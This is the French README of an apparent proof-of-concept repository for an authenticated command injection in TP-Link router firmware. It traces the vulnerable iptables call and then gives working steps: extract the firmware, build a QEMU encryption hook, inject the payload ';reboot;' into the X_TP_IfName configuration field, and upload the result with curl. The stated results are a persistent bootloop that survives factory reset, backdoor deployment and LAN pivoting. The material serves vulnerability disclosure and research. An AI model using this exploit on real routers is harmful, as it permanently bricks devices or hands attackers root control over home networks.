
Preuve de concept pour l'injection de commandes OS authentifiée dans le firmware de routeur TP-Link. Comprend le déchiffrement, un hook de chiffrement basé sur QEMU et la génération de charge utile de 15 caractères pour un bootloop persistant ou un déploiement de porte dérobée.
Pour plus d'informations, voir https://www.cve.org/CVERecord?id=CVE-2026-3227
Une vulnérabilité d'injection de commande OS persistante et authentifiée dans le firmware des routeurs TP-Link, entraînant le brickage de l'appareil ou une éventuelle prise de contrôle du LAN.
Avertissement : Ce dépôt contient un code de preuve de concept (PoC) pour une vulnérabilité corrigée. Il est destiné à des fins éducatives et pour les chercheurs en sécurité.
Une vulnérabilité d'injection de commande existe dans le mécanisme de sauvegarde/restauration de la configuration de plusieurs routeurs TP-Link (y compris TL-WR802N, TL-WR841N et TL-WR840N). Un attaquant disposant d'un accès administrateur peut télécharger la configuration du routeur, la déchiffrer, injecter une commande OS malveillante (jusqu'à 15 caractères) dans des champs XML spécifiques, la rechiffrer et la téléverser sur l'appareil.
Lorsque le routeur applique la configuration (par exemple, lors d'événements de déclenchement de port ou au démarrage), la charge utile injectée est exécutée en tant que root. Cela peut être utilisé pour provoquer une boucle de démarrage persistante (bricker l'appareil de manière permanente en survivant aux réinitialisations d'usine) ou potentiellement permettre un accès persistant pour un pivotement dans le LAN.
En explorant la fonction de sauvegarde de configuration du routeur, j'ai décidé de faire du reverse engineering du binaire httpd et de la bibliothèque libcmm.so pour comprendre comment les fichiers de configuration sont chiffrés et analysés.
qemu-user et j'ai hooké le binaire httpd original du routeur au moment de l'exécution (create_config.c). Cela m'a permis d'invoquer directement les fonctions de chiffrement natives du routeur depuis mon PoC Python, imitant parfaitement le format de chiffrement original.La vulnérabilité réside dans la façon dont le produit analyse le blob de configuration chiffré et l'applique au moment de l'exécution. Dans le chemin de configuration du déclenchement de port, l'implémentation construit des commandes shell en utilisant des champs contrôlables par l'utilisateur sans assainissement approprié.
Plus précisément, la fonction oal_pt_addPortTrigger appelle :
util_execSystem("oal_pt_addPortTrigger",
"iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
&local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);
La chaîne de format %s est renseignée avec une chaîne d'interface (X_TP_IfName) analysée directement depuis la configuration XML téléversée.
Le flux d'exécution :
http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTriggeroal_pt_addPortTrigger appelle forward_parsePtOpenPort pour analyser les listes de ports.iptables et l'exécute via util_execSystem (qui encapsule system()).En modifiant le XML déchiffré pour inclure :
<X_TP_IfName val=";reboot;"/>
La commande est exécutée lors de l'initialisation de l'interface au démarrage ou lorsqu'un événement de déclenchement de port se produit. Comme la charge utile est limitée à 15 caractères, l'élaboration de l'exploit nécessite des techniques d'exécution de commandes compactes.
Pour éviter de distribuer des binaires TP-Link protégés par le droit d'auteur, ce PoC vous oblige à extraire vous-même le système de fichiers du routeur afin d'utiliser les bibliothèques de chiffrement natives via un hook QEMU personnalisé.
qemu-mipsel et un compilateur croisé (gcc-mipsel-linux-gnu)pip install pycryptodome)binwalk -Me <firmware.bin>squashfs-root dans 'python_utils/' de ce projet.mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
config.bin).python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
curl -X POST "http://192.168.0.1/cgi/confup" \
-H "User-Agent: Mozilla/5.0" \
-H "Referer: http://192.168.0.1/mainFrame.htm" \
-H "Origin: http://192.168.0.1" \
-H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
-F "[email protected];type=application/octet-stream"
root. Si vous avez utilisé ;reboot;, le routeur redémarrera immédiatement et entrera dans une boucle de démarrage persistante.